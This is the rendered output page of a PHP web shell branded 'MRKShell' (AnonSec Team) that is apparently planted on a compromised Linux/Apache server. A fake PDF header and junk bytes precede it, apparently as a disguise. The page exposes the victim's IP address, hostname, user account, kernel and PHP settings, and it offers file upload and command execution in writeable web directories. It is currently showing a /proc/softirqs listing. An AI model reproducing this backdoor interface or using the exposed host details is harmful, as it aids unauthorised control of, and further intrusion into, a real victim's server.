...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:         13         10         23         84         21         14         17         22          5         10         14         31         10         16         14         14          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   40814025   62501558   63470161   68161067   60721670   69261325   67865513   63052198   64858941   69193922   68848870   64160123   58718788   59491885   62069783   60557027          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_TX:     615985     796878     774665     651850     452042     490471     288687     291613     610235     382093     924937     505571     871775     269339     461106     667718          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_RX:  141134381  180744101  178198843  141643383   99614078  109839376   69496992   74791130  142314206   82244465  200386751  120109867   45185167   68294414   98954544  155544523          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       BLOCK:       2352       3079       3800       3810       2893       2186       4897       3000       2541       3703       3511       3886       4698       5167       2642       3131          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:   27661242   34683157   33593497   27822801   18799535   21019951   14184123   14071298   25795324   15203400   36494794   22581643    9232775   12926332   19474958   28980739          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       SCHED:  936551403  487531821  291551607  242936473  224994441  238245491  219207514  207566590  205075897  212998824  222568600  212816988  195983734  201397795  221072347  211571326          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     HRTIMER:      23166      39148      24685      14556      13741      16666       8094      11567      41374      11056      49063      25004       2647      10622      13015      22432          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU:  743887236  626068561  621009581  648496505  794083672  645049331  583165581  633926446  677124825  662098764  680590205  676130570  625086768  628596002  727248320  670373841          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0

Anon7 - 2022
AnonSec Team